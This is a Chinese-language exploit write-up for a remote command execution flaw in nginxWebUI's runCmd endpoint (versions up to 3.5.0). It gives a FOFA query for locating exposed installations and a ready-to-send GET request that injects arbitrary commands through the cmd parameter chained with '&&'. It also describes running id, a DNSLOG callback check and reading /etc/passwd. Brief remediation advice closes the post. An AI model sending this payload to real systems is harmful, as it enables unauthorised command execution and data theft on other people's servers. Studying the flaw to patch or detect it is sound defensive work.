文章目录
- [NginxWebUI runCmd 远程命令执行漏洞复现 [附POC]](#NginxWebUI runCmd 远程命令执行漏洞复现 [附POC])
NginxWebUI runCmd 远程命令执行漏洞复现 [附POC]
0x01 前言
免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!
0x02 漏洞描述
nginxWebUI是一款图形化管理nginx配置的工具,能通过网页快速配置nginx的各种功能,包括HTTP和TCP协议转发、反向代理、负载均衡、静态HTML服务器以及SSL证书的自动申请、续签和配置,配置完成后可以一键生成nginx.conf文件,并控制nginx使用此文件进行启动和重载。
nginxWebUI是一款网页版开源工具。 nginxWebUI存在命令执行漏洞。攻击者可利用漏洞执行系统任意命令。
0x03 影响版本
nginxWebUI <= 3.5.0
0x04 漏洞环境
FOFA语法:body="nginxWebUI"
0x05 漏洞复现
1.访问漏洞环境
2.构造POC
POC (GET)
bash
GET /AdminPage/conf/runCmd?cmd=执行的命令%26%26echo%20nginx HTTP/1.1
Host: ip:port
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
3.复现
执行id命令。
使用DNSLOG测试一下
发现有记录产生。
执行命令cat/etc/passwd
0x06 修复建议
一、安全修复方案
官方已发布相关升级内容,详细可以参考https://www.nginxwebui.cn/
二、临时缓解方案
利用安全组功能设置 nginxWebUI 仅对可信地址开放